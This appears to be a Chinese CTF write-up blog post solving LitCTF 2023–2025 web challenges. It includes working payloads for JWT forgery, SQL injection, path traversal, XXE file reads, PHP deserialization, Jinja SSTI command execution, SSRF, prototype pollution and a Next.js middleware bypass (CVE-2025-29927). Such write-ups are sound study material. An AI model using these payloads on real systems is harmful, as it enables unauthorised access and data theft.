LitCTF2023-2025-web-wp
这里列出来一部分的题目(具体的其他赛题可以看下其他师傅的文章 (其实是其他题目没写 wp😭
[LitCTF 2023]Flag点击就送!
这里打开题目,随便注册了一个账号 0n1y
随后去点击获得 flag,显示 只有管理员才能拿flag耶
这里看了下 session 值,很明显是 jwt 格式
这道题是使用 jwt 确认身份
这里我先把得到的 jwt 去进行爆破
试了好一会,发现不大行(
随后猜是不是 LitCTF
这里用到一个工具叫做 flask-unsign,它可以直接伪造一个 jwt
flask-unsign --sign --cookie "{'name': 'admin'}" --secret 'LitCTF'
[LitCTF 2023]这是什么?SQL !注一下 !
打开题目,明显的 sql 注入
这里直接给我们源码了((tjjj好!
因此直接开注
?id=-1)))))) union select schema_name,2 from information_schema.schemata--+
这一步得到所有的数据库:
Array ( [0] => Array ( [username] => information_schema [password] => 2 ) [1] => Array ( [username] => mysql [password] => 2 ) [2] => Array ( [username] => ctftraining [password] => 2 ) [3] => Array ( [username] => performance_schema [password] => 2 ) [4] => Array ( [username] => test [password] => 2 ) [5] => Array ( [username] => ctf [password] => 2 ) )这里我们先看 ctf 库
-1)))))) union select group_concat(table_name),2 from information_schema.tables where table_schema='ctf'--+
这一步得到表名 users
?id=-1)))))) union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema='ctf'--+
这一步得到列名 id,username,password
?id=-1)))))) union select group_concat(id,0x7e,username,0x7e,password),2 from users--+
这一步得到一个假的 flag(彩蛋!
彩蛋4:F1rst_to_Th3_eggggggggg!} (4/4)
这里换个数据库查,ctftraining
流程和上面一致:
这里注意,我们最后查询的数据库不是 information_schema,而是 ctftraining
在这个库里面是没有 table_schema 这个库名字段
因此我们不能说 ...where table_name='flag' and table_schema='ctftraining'--+
此刻我们在 information_schema 数据库外,应该使用的是 数据库名.表名
最终查询 payload:
?id=-1)))))) union select flag,2 from ctftraining.flag--+
[LitCTF 2024]高亮主题(划掉)背景查看器
打开题目,没有什么有效信息,但是切换主题的时候有 post 请求
这里其实读源码也能看到请求
这里抓包,得到是去读取一个文件 theme2.php
感觉存在路径穿越
尝试读取 /etc/passwd 成功
最终 payload:../../../../../../../../../../../../flag
[LitCTF 2024]exx
这里题目提示了 xxe
打开题目,抓包登录:
构造如下 payload 验证 xxe:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><user><username>&xxe;</username><password>1</password></user>得到回显:
<result><code>0</code><msg>root:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/mail:/sbin/nologinnews:x:9:13:news:/usr/lib/news:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologinman:x:13:15:man:/usr/man:/sbin/nologinpostmaster:x:14:12:postmaster:/var/mail:/sbin/nologincron:x:16:16:cron:/var/spool/cron:/sbin/nologinftp:x:21:21::/var/lib/ftp:/sbin/nologinsshd:x:22:22:sshd:/dev/null:/sbin/nologinat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologinsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologinxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologingames:x:35:35:games:/usr/games:/sbin/nologincyrus:x:85:12::/usr/cyrus:/sbin/nologinvpopmail:x:89:89::/var/vpopmail:/sbin/nologinntp:x:123:123:NTP:/var/empty:/sbin/nologinsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologinwww-data:x:82:82:Linux User,,,:/home/www-data:/sbin/nologinutmp:x:100:406:utmp:/home/utmp:/bin/falsemysql:x:101:101:mysql:/var/lib/mysql:/sbin/nologinnginx:x:102:102:nginx:/var/lib/nginx:/sbin/nologin</msg></result>直接读取根目录 flag 即可:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]><user><username>&xxe;</username><password>1</password></user>[LitCTF 2024]百万美元的诱惑
打开题目给了源码:
<?phperror_reporting(0);
$a = $_GET['a'];$b = $_GET['b'];$c = $_GET['c'];
if ($a !== $b && md5($a) == md5($b)) { if (!is_numeric($c) && $c > 2024) { echo "好康的"; } else { die("干巴爹干巴爹先辈~"); } }else { die("开胃小菜))");}开胃小菜))这里是用了个 md5 比较,直接绕过即可:
?a=QNKCDZO&b=240610708&c=2025a进入第二关:
<?php//flag in 12.phperror_reporting(0);if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php"); }}else{ highlight_file(__FILE__);}?>这里我们需要使得传入的 x 值为 12
但是不能传入字母和数字和一堆符号
这里很明显 $( 是可以传的,那么我们可以通过取反构造数字
$(()) 用于计算,当其中无值是则输出0
嵌套取反
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))还看到一个师傅的 payload 是这样构造的:
$(($$/$$))$(($$/$$+$$/$$))这里的 $$ 表示当前的进程号,使用 $$/$$ 即可得到 1
后面的 $$/$$+$$/$$ 即可得到 2
这里连接起来就是 12
注意要对 + 进行 url 编码,这里直接 url 编码即可:
?x=%24((%24%24%2F%24%24))%24((%24%24%2F%24%24%2B%24%24%2F%24%24))[LitCTF 2024]浏览器也能套娃?
打开题目,让我们输入一个 url
猜测为 ssrf,抓包使用 file 协议读取 /etc/passwd 成功
再读取 /flag 即可
[LitCTF 2024]SAS - Serializing Authentication
打开题目,直接给了源码:
<?phpclass User { public $username; public $password; function __construct($username, $password) { $this->username = $username; $this->password = $password; } function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }}?>很明显要通过反序列化构造回 User 类以及其中属性要对应 isValid 中的值
脚本:
<?php// 1. 必须声明和目标一模一样的类结构class User { public $username; public $password;
function __construct($username, $password) { $this->username = $username; $this->password = $password; }}
// 2. 实例化一个满足绕过条件的对象$admin_user = new User('admin', 'secure_password');
// 3. 序列化这个对象$serialized_data = serialize($admin_user);echo "原始序列化字符串: " . $serialized_data . "\n";
// 4. 进行 Base64 编码$final_payload = base64_encode($serialized_data);echo "最终提交的 Payload: " . $final_payload . "\n";?>这里因为它会对我们的数据先 base64 解码再反序列化,因此先编码一次
最终得到的 payload:
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiJzZWN1cmVfcGFzc3dvcmQiO30=
[LitCTF 2025]星愿信箱
只过滤了 {{}},这里使用 {%%} 绕过即可
{%print(lipsum.__globals__.os.popen('tac /flag').read())%}[LitCTF 2025]easy_file
打开题目是个登录框
随便输入什么抓包
发现它将我们的输入先是进行一次 base64 编码
这里先修改我们的账号密码为:
username=YWRtaW4=&password=cGFzc3dvcmQ=登进去,发现有个文件上传
这里尝试 .php 后缀发现被过滤,大概是白名单
在首页我们得到这样一个提示://file查看头像
后面直接使用这个接口连接上传的文件即可
[LitCTF 2025]君の名は
源码:
<?phphighlight_file(__FILE__);error_reporting(0);create_function("", 'die(`/readflag`);');class Taki{ private $musubi; private $magic; public function __unserialize(array $data) { $this->musubi = $data['musubi']; $this->magic = $data['magic']; return ($this->musubi)(); } public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); }}
class Mitsuha{ private $memory; private $thread; public function __invoke() { return $this->memory.$this->thread; }}
class KatawareDoki{ private $soul; private $kuchikamizake; private $name;
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; }}
$Litctf2025 = $_POST['Litctf2025'];if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){ unserialize($Litctf2025);}else{ echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";}反序列化,最终的 payload 要先编码一次再传
[LitCTF 2025]easy_signin
打开题目,显示 403
(这里不是题目问题,原题就是这样的)
扫到以下信息:
[14:39:23] 301 - 169B - /api -> http://node6.anna.nssctf.cn/api/[14:39:24] 301 - 169B - /backup -> http://node6.anna.nssctf.cn/backup/[14:39:26] 302 - 0B - /dashboard.php -> /login.html[14:39:29] 200 - 51B - /login.php[14:39:29] 200 - 6KB - /login.html看源码发现 js 文件中泄露了一个接口,使用 file:// 协议能通,但是我们不知道 flag 的名称
首页的 user 去抓包里面修改后,显示密码错误
这里没发现有什么线索,回到接口把
这里访问 /api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
得到 flag 的路径拿到 flag(所以搞那个 dashboard.php hyw,难道这个是非预期吗
[LitCTF 2025]多重宇宙日记
打开题目,随便注册一个号进去看源码:
| ||---||// 更新表单的JS提交||document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) {||event.preventDefault();||const statusEl = document.getElementById('updateStatus');||const currentSettingsEl = document.getElementById('currentSettings');||statusEl.textContent = '正在更新...';||||const formData = new FormData(event.target);||const settingsPayload = {};||// 构建 settings 对象,只包含有值的字段||if (formData.get('theme')) settingsPayload.theme = formData.get('theme');||if (formData.get('language')) settingsPayload.language = formData.get('language');||// ...可以添加其他字段||||try {||const response = await fetch('/api/profile/update', {||method: 'POST',||headers: {||'Content-Type': 'application/json',||},||body: JSON.stringify({ settings: settingsPayload }) // 包装在 "settings"键下||});||const result = await response.json();||if (response.ok) {||statusEl.textContent = '成功: ' + result.message;||currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);||// 刷新页面以更新导航栏(如果isAdmin状态改变)||setTimeout(() => window.location.reload(), 1000);||} else {||statusEl.textContent = '错误: ' + result.message;||}||} catch (error) {||statusEl.textContent = '请求失败: ' + error.toString();||}||});||||// 发送原始JSON的函数||async function sendRawJson() {||const rawJson = document.getElementById('rawJsonSettings').value;||const statusEl = document.getElementById('rawJsonStatus');||const currentSettingsEl = document.getElementById('currentSettings');||statusEl.textContent = '正在发送...';||try {||const parsedJson = JSON.parse(rawJson); // 确保是合法的JSON||const response = await fetch('/api/profile/update', {||method: 'POST',||headers: {||'Content-Type': 'application/json',||},||body: JSON.stringify(parsedJson) // 直接发送用户输入的JSON||});||const result = await response.json();||if (response.ok) {||statusEl.textContent = '成功: ' + result.message;||currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2);||// 刷新页面以更新导航栏(如果isAdmin状态改变)||setTimeout(() => window.location.reload(), 1000);||} else {||statusEl.textContent = '错误: ' + result.message;||}||} catch (error) {||statusEl.textContent = '请求失败或JSON无效: ' + error.toString();||}||}|通过
// 刷新页面以更新导航栏(如果isAdmin状态改变)setTimeout(() => window.location.reload(), 1000);可以知道存在一个 isAdmin 的属性
我们输入的 json 都会在 settings 键下:
{ "settings": { "__proto__": { "isAdmin": true } }}即可提权为管理员拿到 flag
[LitCTF 2025]nest_js
看了下 wp,利用了一个 cve:CVE-2025-29927 Next.js 中间件权限绕过漏洞
我们添加一个这样的请求头即可绕过:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!